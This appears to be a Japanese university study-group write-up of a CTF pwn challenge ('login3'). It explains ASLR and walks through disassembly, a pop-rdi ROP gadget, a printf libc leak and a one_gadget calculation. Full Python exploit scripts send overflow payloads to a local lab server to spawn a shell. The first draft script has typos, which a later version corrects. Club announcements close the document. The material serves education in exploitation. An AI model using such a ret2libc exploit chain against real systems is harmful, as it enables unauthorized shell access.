# 12/16- 低レイヤ勉強会 ## Malleusのlogin3 問題でASLRの回避方法とOnegadget RCEの活用方法を学ぶ ハリネズミ本の知見を活かしつつ、**今度こそ**login3を解き切ります。 2か月間停滞させてしまってすみませんでした🙇‍♂️ ## dockerを起動しておいてください 1. docker desktop アプリを開く 2. しばらく待って、powershellで ``` docker run --rm -it -p 10080:80 -p 10001-10012:10001-10012 kusanok/ctfpwn:2 ``` と打ち込む ## 復習 - ASLRについて アドレス空間配置のランダム化。 重要なデータ領域の位置(実行ファイルとライブラリ、ヒープ、およびスタックの位置が含まれる)を無作為に配置するコンピュータセキュリティの技術である。 アドレス空間のランダム化は、攻撃者が標的のアドレスを予測することをより困難にすることによって、ある種のセキュリティ攻撃を妨害する。 また、予測が失敗すると通常アプリケーションはクラッシュするのでしっかり計画的に...(Wikipedia) - Onegadget RCEについて シェルを実行するアドレスのこと。 **条件を満たしたうえで**、そのアドレスに処理を飛ばすとシェルを実行できる。 one_gadget コマンドでそのアドレスを求められるが、そのアドレスは相対アドレスであり、そのまま使っても実行できない。 後述する計算式で計算する必要がある。 ## はじめにスタックの状態を理解する さて逆アセンブリファイルを眺めるとこから始めます(一部抜粋) ```objdump.sh objdump -d -M intel login3 > login3.txt cat login3.txt ``` で出力 ```a.out 0000000000401040 <printf@plt>: 401040: ff 25 da 2f 00 00 jmp QWORD PTR [rip+0x2fda] # 404020 <printf@GLIBC_2.2.5> 401046: 68 01 00 00 00 push 0x1 40104b: e9 d0 ff ff ff jmp 401020 <.plt> 00000000004011e1 <main>: 4011e1: 55 push rbp 4011e2: 48 89 e5 mov rbp,rsp 4011e5: 48 83 ec 20 sub rsp,0x20 4011e9: 48 c7 45 e0 00 00 00 mov QWORD PTR [rbp-0x20],0x0 4011f0: 00 4011f1: 48 c7 45 e8 00 00 00 mov QWORD PTR [rbp-0x18],0x0 4011f8: 00 4011f9: 48 c7 45 f0 00 00 00 mov QWORD PTR [rbp-0x10],0x0 401200: 00 401201: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0 401208: 00 401209: b8 00 00 00 00 mov eax,0x0 40120e: e8 63 ff ff ff call 401176 <setup> 401213: 48 8d 3d ea 0d 00 00 lea rdi,[rip+0xdea] # 402004 <_IO_stdin_used+0x4> 40121a: b8 00 00 00 00 mov eax,0x0 40121f: e8 1c fe ff ff call 401040 <printf@plt> 401224: 48 8d 45 e0 lea rax,[rbp-0x20] 401228: 48 89 c7 mov rdi,rax 40122b: e8 40 fe ff ff call 401070 <gets@plt> 401230: 48 8d 45 e0 lea rax,[rbp-0x20] 401234: 48 8d 35 ce 0d 00 00 lea rsi,[rip+0xdce] # 402009 <_IO_stdin_used+0x9> 40123b: 48 89 c7 mov rdi,rax 40123e: e8 1d fe ff ff call 401060 <strcmp@plt> 401243: 85 c0 test eax,eax 401245: 75 0e jne 401255 <main+0x74> 401247: 48 8d 3d c1 0d 00 00 lea rdi,[rip+0xdc1] # 40200f <_IO_stdin_used+0xf> 40124e: e8 dd fd ff ff call 401030 <puts@plt> 401253: eb 0c jmp 401261 <main+0x80> 401255: 48 8d 3d c3 0d 00 00 lea rdi,[rip+0xdc3] # 40201f <_IO_stdin_used+0x1f> 40125c: e8 cf fd ff ff call 401030 <puts@plt> 401261: b8 00 00 00 00 mov eax,0x0 401266: c9 leave 401267: c3 ret 401268: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 40126f: 00 ``` メモリのスタックを見ていきます。 スタックの管理にはCPUレジスタ RBP が使用されるので、 ```test.out mov rdi, rax call <入力系関数(scanf, gets 等)> lea rax, [rbp-アドレス数] ``` このような形式を逆アセンブリファイルのmain 部分から見つけ出していきましょう。 ここでは ```test.out 401228: 48 89 c7 mov rdi,rax 40122b: e8 40 fe ff ff call 401070 <gets@plt> 401230: 48 8d 45 e0 lea rax,[rbp-0x20] ``` のみ見つかります。 見つけ出していったら、スタックの構造を図解してみます。 今回スタックに積まれているものは以下の3つです。 うち、古いrbpのアドレスとmain関数からの戻り先のアドレスはどの問題でもそこに存在します。 ![](https://i.imgur.com/57AxpB1.png) 最後に、スタックの末端に書いてあるアドレスに処理が移ります。 ## 目標は... 1. libc ライブラリに存在する関数のアドレスを入手したい - このアドレスは常に変化している。 - 何らかの関数のGOTアドレスが入手できれば、PLTアドレスが存在する関数を使って、その関数のlibcに存在するアドレスを調べられる - 例:printf関数のGOTアドレスとputs関数のPLTアドレスがわかっている。 そこで "puts(printfのGOTアドレス)" という処理を行うことで、printfのlibcライブラリ中に存在するアドレスが判明する --- ここで一旦main関数冒頭に処理を移し、ASLRの発動を回避する --- 2. One-Gadget RCEを実行したい 1. GOTアドレスが取得できている関数と同じ関数のアドレスを soファイル内から探し出す 1. また、one_gadget [soファイル] で実行可能なアドレスを探し出す 2. これらよりrceのアドレスを導き、スタックに入れる ## 攻略 ### 目標1 逆アセンブリファイルから、何でもいいのでGOTアドレスがわかる関数を探します。 ここではprintfを使います。 次に、PLTアドレスが存在する出力系関数をmain 部分内から探します。 ここではputsをピックアップします。 GOTアドレスはlibcライブラリ中の関数を導く手がかりとなり、PLTアドレスは関数そのものとして使えるので、 puts(printfのGOTアドレス) という処理でprintfのlibcアドレスを導き出します #### 処理の書き方 関数に引数を渡すときにCPUレジスタ rdiが使われ、処理としては pop rdi ret となるので、GDBでその部分を検索してみます。 ```test $ gdb login3 gdb-peda$ start gdb-peda$ dumprop Warning: this can be very slow, do not run for large memory range Writing ROP gadgets to file: login3-rop.txt ... 0x40115e: ret 0x40125d: iret : 0x40115d: pop rbp; ret 0x4012d3: pop rdi; ret 0x4012d2: p ``` となり、**0x4012d3 に pop rdi** があることが分かります。 よって、puts(printfのGOTアドレス)という処理はこう書きます: ||| |---|---| | pop rdi | 0x4012d3 | | printfのGOTアドレス | 0x404020 | | putsのPLTアドレス | 0x401030 | こうして出力させたらいったんmain関数へ戻ります。 また最初にスタックオーバーフローを起こさせる必要があるため、スタックの構造は次のようにします: ![](https://i.imgur.com/jhNrYlj.png) プログラム実行時にIDをきかれるのですが、そこでrbp-0x20からrbpまでのサイズ分の適当な文字列を入力すると、スタックオーバーフローが起こり、その状態に持ち込むと以降のスタックの処理が行えます。 最後に、スタックの末端に書いてあるアドレスに処理が移り、いったんmain関数の冒頭まで処理が移ります。 これにより、プログラムを実行したまま目標2に移ることができます。 こうしてASLRを回避します。 ### 目標2 #### GOTアドレスが取得できている関数と同じ関数のアドレスを soファイル内から探し出す 今回Printfを基準にしているので ``` a.sh objdump -T libc-2.31.so | grep ' printf' ``` で ```a.sh 0000000000064e10 g DF .text 00000000000000cc GLIBC_2.2.5 printf 0000000000064d30 g DF .text 0000000000000020 GLIBC_2.2.5 printf_size_info 0000000000064280 g DF .text 0000000000000aab GLIBC_2.2.5 printf_size ``` とでてくることより**0x64e10**とわかる。 #### one_gadget [soファイル] で実行可能なアドレスを探し出す ```a.sh $ one_gadget libc-2.31.so : 0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL ``` で出てくる、**左上の部分に注目します(ここでは0xe6af1)** 条件式が書いてありますが、意外と条件は緩いことのほうが多いので、とりあえず片っ端からアドレスを試していく、という戦法で今はまだ大丈夫です。 #### rceのアドレスを導く GOTがわかっている関数の中で、起点とする関数を1つ定め、次のような式で導けます: rce = (libcのアドレス) - (so ファイル内のアドレス) + (one_gadget で取得した関数) よってここでは **rce = (printf - 0x64e10 + 0xe6af1)** 注:printfの関数は、pythonスクリプト実行中に変数として保持している。後述 --- 上記より、スタックの構造を次のようにしていきます 一度main関数に戻っているので、スタックを積みなおせるのです ![](https://i.imgur.com/v6mqzgi.png) 最後に、スタックの末端に書いてあるアドレスに処理が移るので、これで「One-gadget RCEを実行した」ということになります。 ではこの手順で実行すれば本当にシェルが奪えるのか、やっていきましょう! ## Python スクリプトに書き起こす 今回はしっかり処理を理解していくため、pwntoolsは使いません - サーバー接続処理をする connect - 文字列と数字データを相互変換する p, u - シェルを奪った後、サーバーと相互通信する interact - これらの関数パーツを使いながら、処理を書いていきます ```a.py import socket import time import os import struct import telnetlib # connect はサーバーに接続するための関数。 def connect(ip, port): return socket.create_connnection((ip.port)) # p(x)とu(x)は4バイト数字データを文字列に変換。 # 例: \x78\x56\x34\x12 とかくところを p(0x12345678)と書けるようになる。 def p(x): return struct.pack('<Q',x) def u(x): return struct.unpack('<Q',x)[0] def interact(s): print('--------- interactive mode ----------') t = telnetlib.Telnet() t.sock = s t.interact() # ------------------------------------------------------ # ここに以下の処理を書きます。 # ------------------------------------------------------- interact(s) # s = connect でサーバーにつないでコードを送った後、直接操作できるようにする。 ``` ### 目標1を書き起こす ![](https://i.imgur.com/h8IRHaG.png) ```a.py # アドレスを調べ、書く。 pop_rdi = 0x4012d3 printf_got = 0x404020 puts_plt = 0x401030 main = 0x4011e1 payload = b''.join([ # スタックに積む内容を、次のように書き起こす。図解参照 b'A' * 0x28, p(pop_rdi), p(printf_got), p(puts_plt), p(main), ]) # サーバーにつなぐ。 # 一度にたくさんの処理を行いきれない場合もあるので、適当に処理の途中にtime.sleepを挟む s = connect('localhost', 10003) time.sleep(1) # 一応、接続して最初に表示されるメッセージを表示させる。ここでは"ID:" print(s.recv(1024).decode('utf-8')) # スタックを積む。 s.send(payload + b'\n') time.sleep(1) # printfのlibc アドレスが返ってくるので、printf_libcという変数を作って格納・保持しておく d = s.recv(1000) print(d) printf_libc = struct.unpack('<Q', d.split(b'\n')[1].ljust(8, b'\0'))[0] print('printf: %x'%printf_libc) # printf_libc が手に入ったところで目標2に続く... ``` ### 目標2を書き起こす ![](https://i.imgur.com/TGGtI03.png) ```a.py # 先ほど示した手順でRCEを計算する。 rce = (printf_libc - 0x64e10 + 0xe6af1) payload2 = b''.join([ # 目標2の通りにスタックを書き起こす。図解参照 b'a'*0x28, p(rce), ]) # スタックを積む。 s.send(payload2 + b'\n') # ここまでの処理でシェルは実行できたので、こちらから繋ぐ。 interact(s) ``` これでスクリプトを実行すると無反応みたくなりますが、試しにlsと打ってみてください シェルが奪えている証拠に、サーバー内のファイルがのぞけると思います ![](https://i.imgur.com/ESv5glQ.png) ## 正しいスクリプト ```test.py import socket import time import os import struct import telnetlib # 以下の関数はとりあえず機能だけ理解して使ってくれれば大丈夫です。 def connect(ip, port): return socket.create_connection((ip,port)) # p(x)とu(x)は4バイト数字データを文字列に変換。 # 例: \x78\x56\x34\x12 とかくところを p(0x12345678)と書けるようになる。 def p(x): return struct.pack('<Q', x) def u(x): return struct. unpack('<Q', x.split(b'\n')[1].ljust(8, b'\0'))[0] def interact(s): print('.----- interactive mode -----.') t = telnetlib.Telnet() t.sock = s t.interact() # ここまで # アドレスを調べ、書く。 pop_rdi = 0x4012d3 printf_got = 0x404020 puts_plt = 0x401030 main = 0x4011e1 payload = b''.join([ #アセンブラのmainのebp/rbpレジスタの部分からスタックの大きさを調べ 、Aで全部埋める #スタック領域の後に処理(関数のアドレスなど)を入力すると実行される。 b'A' * 0x28, p(pop_rdi), p(printf_got), p(puts_plt), p(main), # 上記で使われているGOTアドレスは過去のもの。 # これで、スクリプト実行時点でのwriteのGOTアドレスが求められ、逆算 に使える。 ]) s = connect('localhost', 10003) time.sleep(1) print(s.recv(1024).decode('utf-8')) s.send(payload + b'\n') time.sleep(1) d = s.recv(1000) print(d) printf_libc = u(d) print('printf: %x'%printf_libc) rce = (printf_libc - 0x64e10 + 0xe6af1) payload2 = b''.join([ b'a'*0x28, p(rce), # 上記で使われているGOTアドレスは過去のもの。 # これで、スクリプト実行時点でのwriteのGOTアドレスが求められ、逆算 に使える。 ]) s.send(payload2 + b'\n') interact(s) ``` 注:複数のウィンドウで一斉に実行したり、間を開けずにやると失敗しやすいです あとu関数を使ってなかったので、使用しました 目標1部分が少し簡潔になったと思います ## 連絡 - 明日は報告会打合せ&予算申請の最終確認をしたいと思います - 提案ですが、OSの開発がおそらく2月まで→発表なので、今からOSの本買ってもしょうがないと思うことと、水澤くんがマルウェア解析をしたいと言ってくれていたので、 [初めてのマルウェア解析 ―Windowsマルウェアを解析するための概念、ツール、テクニックを探る](https://www.amazon.co.jp/%E5%88%9D%E3%82%81%E3%81%A6%E3%81%AE%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E8%A7%A3%E6%9E%90-%E2%80%95Windows%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%82%92%E8%A7%A3%E6%9E%90%E3%81%99%E3%82%8B%E3%81%9F%E3%82%81%E3%81%AE%E6%A6%82%E5%BF%B5%E3%80%81%E3%83%84%E3%83%BC%E3%83%AB%E3%80%81%E3%83%86%E3%82%AF%E3%83%8B%E3%83%83%E3%82%AF%E3%82%92%E6%8E%A2%E3%82%8B-Monnappa-K/dp/4873119294) への差し替えを考えていますが、どうでしょうか - 来週は報告会のリハーサルを行いたいと思います - ただ自分がバイト研修の関係で出られないので、山本中心にやってもらいたいと思います - なるべく先輩方にも声をかけてサポートいただけるようにします - 月末までに活動報告レポートの提出もあるので、それも順次準備お願いします